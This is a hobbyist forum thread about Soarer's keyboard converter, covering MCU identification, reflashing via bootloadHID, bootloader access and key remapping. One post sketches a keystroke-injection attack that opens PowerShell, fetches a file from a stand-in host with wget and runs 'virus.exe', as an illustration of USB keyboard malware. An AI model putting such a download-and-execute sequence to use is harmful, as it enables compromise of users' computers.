XT/AT/PS2/Terminal to USB Converter with NKRO

[jsheradin]

Is there any way to determine which MCU is inside a ready-made Soarer's Converter, without tearing it apart?

The last release for this was about a decade ago. If it's anything remotely recent there's a good chance it will be running the latest version. SCWR should throw an error otherwise.

If you're looking at an Orihalcon one then it should be 32u4. Best to just ask the seller.

Might be worth looking into the TMK offerings as well. They tend to have better support for the really weird boards although they're not as easy to remap as Soarer's.

[Muirium]

If it’s not 32u4, it’s too remarkable to overwrite! Honestly, there is no doubt in the matter. Soarer’s hex file is 10 years old and never getting updated.

[flipkey]

Some of the pre-made ones are being listed as "v1.0", which I take to mean the older firmware version. I suppose it could also mean Teensy 1.0, but I would expect it to say so in that case. (And sadly, getting detailed technical info from a seller is tough when we don't speak each other's language.)

I'll want to flash the firmware regardless, so I know exactly what code is running on it.

[Muirium]

No way. It will just be this (still conspicuously unnamed) seller’s own product version numbering.

You’re more likely to find a cheapo Arduino Pro Micro clone inside than an authentic Teensy, by the way. The difference between $3 and $20.

[flipkey]

I decided to pick up one of these mystery devices and give it a try. All the listings I found use the same photos, so I guess these are being manufactured. Here's one of them:



Soarer's scinfo and scboot tools recognize it, but none of dfu-loader, avrdude, or teensy-loader-cli see it as an atmega32u4 (or any of the other MCU names listed in Soarer's docs).

It shows up as USB ID 16c0:05df when in bootloader mode. That ID appears in these BootloadHID instructions, so perhaps that bootloader is on this device, in which case its flashing tool could be the solution.

On the other hand, that might be a generic USB ID that's used in a variety of projects. Guessing at which microcontroller's firmware to use seems a little risky. I'll have to ponder this for a bit before I try it.

[flipkey]

It occurs to me that these values from scinfo might help nail down what's inside this thing:

SRAM Size: 2816 bytes
SRAM Free: 1806 bytes
EEPROM Size: 1024 bytes
EEPROM Free: 1020 bytes

The AT90USB1286, AT90USB646, and ATmega16U4 data sheets all list sizes significantly different from those.

The ATmega32U4 data sheet matches that 1K EEPROM size exactly, but lists only 2.5K SRAM, which doesn't quite match the 2.75K shown by scinfo. However, it lists a start address at the 0.25K mark, which could explain the discrepancy.

Does anyone recognize those scinfo sizes as particular to some other chip? If not, it sure looks like you folks were right about the 32u4 being the most likely.

[Muirium]

What version of the controller is running on it, according to scinfo? Bet it's up to date and you're all good.

The only tool I use for flashing things these days is QMK Toolbox. Run scboot on the converter and you'll see it pop up easily enough in there, whatever mystery bootloader is running on your 32u4.

[flipkey]

What version of the controller is running on it, according to scinfo? Bet it's up to date and you're all good.

It lists code version v1.12. I believe that's the latest, but I'm still driven to figure this out, mainly by curiosity and a desire to have full access to my hardware. (There's also the issue of plugging it in causing a repeating F7 input until I press a key, which I imagine could be firmware-related.)

The only tool I use for flashing things these days is QMK Toolbox.

Unfortunately QMK Toolbox doesn't seem to be available for Linux, and I don't have Windows or Mac OS.

Edit: But I did manage to get the qmk command line tool mostly installed, and its qmk console command reports "Bootloader Connected: bootloadhid: HIDBoot". That seems to validate my idea that BootloadHID is likely in use here.

[flipkey]

Success!

The bootloadHID command line tool is indeed able to write the firmware to this device. I confirmed it by flashing v1.11_atmega32u4.hex, running scinfo, flashing v1.12, and running scinfo again. The reported version number changed as expected.

Keyboard input stopped working after the flash, but uploading a blank config restored it.

Some of scinfo's reported values changed after flashing the official firmware. I'll highlight the fields that were different when the pre-installed version was running:

Protocol Version: v1.00 (unchanged)
Code Version: v1.12 (unchanged)
Max Settings Version: v1.01 (unchanged)
Current Settings Version: v0.00 -> v1.01
SRAM Size: 2816 -> 2560 bytes
SRAM Free: 1806 -> 1809 bytes
EEPROM Size: 1024 bytes (unchanged)
EEPROM Free: 1020 -> 1016 bytes

What's more, the flood of F7 keystrokes when plugging it in is now gone. I wonder why the firmware this device shipped with was doing that. Corrupted data? Malware? It's too bad I had no way of dumping that firmware before replacing it; a comparison with Soarer's files might have revealed something interesting.

In any case, I'm happy. Thanks for your hints, folks. The sleuthing and a little risk paid off.

[Muirium]

Malware on an 8 bit AVR with 32k of storage and 2k of memory? About the only “malice” you could squeeze in there is irritating phantom keypresses, like say spamming F7…

Just some corruption I think. Maybe even simply in the EEPROM saved settings, rather than the firmware itself.

[jsheradin]

Malware is really easy if you have direct hardware access like a USB keyboard. All it would need to do is send fake keystrokes like:

Code: Select all

LGUI+R
powershell
enter
wget "scary_virus_ip:42069"
./virus.exe

Whether the converter was actually plotting to fire that off or the seller just screwed up the offsets for factory programming we'll never know.

[Muirium]

Windows doesn’t need your password to execute a freshly downloaded binary? What is this? 1995 all over again?

[AndyJ]

There were warnings of keyboards and mice with built-in USB malware back in the early XP days.

By default, older versions of Windows considered a USB device to be a trusted source, and would load drivers - or what said it was a driver - from a USB device. Depending on how the OEM configuration was done, Windows didn't necessarily ask for permission, it just did it automatically and popped up a little help balloon telling the user that "drivers" had been installed.

[DMA]

well, those "XP days" aren't over - USB rubber ducky and bash bunny are still pretty much a thing.

[depletedvespene]

I decided to pick up one of these mystery devices and give it a try. All the listings I found use the same photos, so I guess these are being manufactured. Here's one of them:



Soarer's scinfo and scboot tools recognize it, but none of dfu-loader, avrdude, or teensy-loader-cli see it as an atmega32u4 (or any of the other MCU names listed in Soarer's docs).

It shows up as USB ID 16c0:05df when in bootloader mode. That ID appears in these BootloadHID instructions, so perhaps that bootloader is on this device, in which case its flashing tool could be the solution.

On the other hand, that might be a generic USB ID that's used in a variety of projects. Guessing at which microcontroller's firmware to use seems a little risky. I'll have to ponder this for a bit before I try it.

Waaaaaaaaaaaaaaaaaaaaait... how do you put this thing in bootloader mode in the first place?


Last year, I screweed up a Soarer's Converter cable by loading TMK onto it (which worked). But I forgot to put in the BOOTLD command into the TMK mapping so I couldn't send it into bootloader mode so I could make further changes and it got stuck. So, how did you do that?

[fanf]

TBH I don’t know why you would need a key shortcut to toggle boot mode.

Normally a USB keyboard will advertise boot protocol and report protocol support, and it is up to the host to choose which it wants to use. (The keyboard may use the boot protocol report format in report protocol mode so it only needs to support one kind of report.)

[depletedvespene]

TBH I don’t know why you would need a key shortcut to toggle boot mode.

So as to be able to put the ATmega chip in bootloader mode, to load a new .hex upon it.

All guides you'll see mention physically pressing the Reset button on the teensy (or whatever), but there isn't such an exposed button on the Soarer's Converter cable ==> a key combo has to be used instead or, somehow, a loader program that can tell the ATmega "Go into bootloader mode because I say so!".

[flipkey]

how do you put this thing in bootloader mode in the first place?

The scboot command line tool provided by Soarer tells his firmware to jump to the bootloader. I don't know if TMK has an equivalent, as I don't use TMK. Since you forgot to map a key combination to do that, maybe it has a default combo, or maybe it briefly enters bootloader mode when first plugged in?

Normally a USB keyboard will advertise boot protocol and report protocol support, and it is up to the host to choose which it wants to use

A USB keyboard's boot protocol (for using the keyboard to navigate a computer's BIOS setup) is not the same thing as a microcontroller's bootloader (for flashing new firmware onto the microcontroller).

[depletedvespene]

how do you put this thing in bootloader mode in the first place?

The scboot command line tool provided by Soarer tells his firmware to jump to the bootloader. I don't know if TMK has an equivalent, as I don't use TMK. Since you forgot to map a key combination to do that, maybe it has a default combo, or maybe it briefly enters bootloader mode when first plugged in?

Yes, I used scboot to put the chip into bootloader mode; I then flashed the TMK .hex with QMK toolbox.

I then tried to add a few mappings that I hadn't put in the first version and then realized that I did not have a BOOTLD command in the mapping, the default "magic" combo had been turned off (therefore it was inaccessible) and scboot did not recognize the cable as having a Soarer's Converter anymore. It wouldn't briefly enter bootloader when plugged in, either.

pandreu took a crack at it (with a cable of his) and determined that the only way would be to cut the plastic to get to the chip itself and short a pin (something I want to avoid, as I will screw things over.

Your comment in the thread made me think that maybe there's a way to send a command to the chip's bootloader itself (below the .hex flashed on top).

[flipkey]

The bootloader is not active after it loads and boots the main program, so you would either have to signal it before that happens, or restart it in "wait for a signal" mode. Since it looks like you accidentally got rid of TMK's way of doing the latter through software, I think pandreu is probably right: the only remaining way would be shorting a pin on the microcontroller.

Is it possible that the reset pin is wired to one of the DIN connector pins?

[Muirium]

Is it possible that the reset pin is wired to one of the DIN connector pins?

Very unlikely. You sometimes see a DIN plug pin marked as reset on diagrams, but that's for a few oddball keyboards which need a 'reset' signal sent to them at boot, including early Zeniths as I recall. Completely unrelated to resetting the converter. Indeed, if they were tied together, you can imagine what would happen!

Anyway, here's TMK's magic combo for entering the bootloader if you've not tried it already: hold both Shift keys and press Pause.

That works 100% on my Hasu controller powered HHKB—where it's actually a 4 key combo because Pause is Fn+P on HHKB—and I've used it there dozens of times. Mind, the HHKB has a handy reset button on the back but even then keys are more elegant.



But! When I load TMK onto *converters* I've made myself, I've often found the ‘magic’ key combos (which are triggered by both Shifts by default) to be absent entirely, forcing me to hit the button on the Teensy. Hasu's own *controllers* work much nicer with TMK than Teensies do as converters. (Two HHKBs and a Hasu powered Alps64 in my case.) Unimap in particular (his web GUI for layout editing) isn't really targeted at the generic case, as you may have encountered when having to choose 'version 1' in drop-downs about hardware you don't have.

[fohat]

My favorite Model F 122-key has developed an impossible case of repeatingggggggggg certain keyssssssssss.

The keyboard and its internal Soarers Teensy have operated flawlessly since I built the unit 6-8 years ago, and this problem is new. Nothing about its environment has changed in a couple of years.

I have checked the obvious exterior and cleaned it, but before I take it apart (I know I know recently I pretended that it was no big deal, but it is a fussy tedious nuisance) is there something else I should consider, beyond a thorough internal cleaning? Does a Teensy get sick or die after a few years?

Thanks

[jsheradin]

The problem is probably not Soarer's side if it's actually getting scancodes from the keyboard. You can use hid_listen to see if that's the case.

Try cleaning the card edge connector, re-seat the controller a couple times to break up corrosion, make sure all the grounding wires are tight, and try a shorter USB cable or different port.

If that doesn't sort it out then there might be PCB damage. It's entirely possible that regular use on a 40 year old board eventually broke a trace or wore through the solder mask somewhere. It's all fixable but always start with the easy stuff first.

[Muirium]

How many "certain keysssssss" are repeating? And did they all come to the party at once?

I have confused SSSSSSSSoarer converters before, and needed to power cycle them by pulling out the USB. But if it's certain keys, it sounds like the keyboard hardware is to blame. Worth debugging first though for sure.

[kbdfr]

Before blaming your keyboard, make sure it's not just a tremor
A while ago I noticed an incongruous letter "m" appearing in the middle of some words. It took me some time to understand it had nothing to do with my keyboard, but with my own finger just resting too heavily on the cap (on AZERTY keyboards "m" is the key under the right pinky on the home row).

And alternatively, switch to a Cherry keyboard. A problem like yours simply does not happen with them

[Muirium]

Well, to be fair to Model F: there really is no better switch for screening out a trembling finger. Linear switches, or clickies which activate before the click, would be a nightmare. But buckling spring is going to click and actuate *only once* by design.

[AndyJ]

The worst keyboard I ever had was a BTC "foam and foil" monstrosity. It not only had zero feel, you had to watch the monitor all the time, because about ten percent of the keystrokes never registered. There was nothing to keep dust or dirt out of the foil pads; a week or two, and keys would start going intermittent. I took that board apart so many times I could do it in the dark.

I went from that to a Model F. The big thing for me was that when an F key clicked over-center, the keystroke was guaranteed. [well, technically, maybe not, but I can't recall it ever happening]

[flipkey]

Some folks here might be familiar with how the SysRq key can be used to issue low-level commands to the Linux kernel. It's pretty handy on those rare occasions when something goes terribly wrong and the GUI stops responding. (For example, when a buggy game crashes the GPU.)

Well, I recently noticed that my SysRq key hasn't been working in some time, and Soarer's converter turned out to be the cause. Investigating revealed these problems:

- Soarer's auto-detection of keyboard type was choosing code set 1: PC/XT. (I'm pretty sure my Cherry G80-5000 is an AT keyboard.)
- hid_listen showed a lot of R06 and R05 errors (despite all the other keys working fine).

Once I forced AT/PS2 mode, those errors vanished, but the problem wasn't fixed yet. Where the errors once were, hid_listen was now showing the SysRq key producing +C2 and dC2 events, otherwise known as FAKE_19 or EXTRA_SYSRQ, which seemed suspect. (It's not an *extra* SysRq key; it's the normal one, shared with PrtSc.)

So I tried remapping that key, with the following config:

Code: Select all

remapblock
  EXTRA_SYSRQ PRINTSCREEN
endblock

Sure enough, that did the trick. I can once again control my kernel with arcane SysRq incantations. :)

I hope anyone else running into this problem finds their way here.

[flipkey]

By the way, does anyone know how to reverse the force command, reinstating auto-detection of keyboard type? Writing a blank config doesn't do it, and I don't see an argument in the docs to clear the setting.

(I don't think I'll need it, but it would be nice to know how to return my converter to stock behavior.)

[Arakula]

Since force is part of the EPROM data, writing a blank config, followed by unplugging and re-plugging the converter, should do it.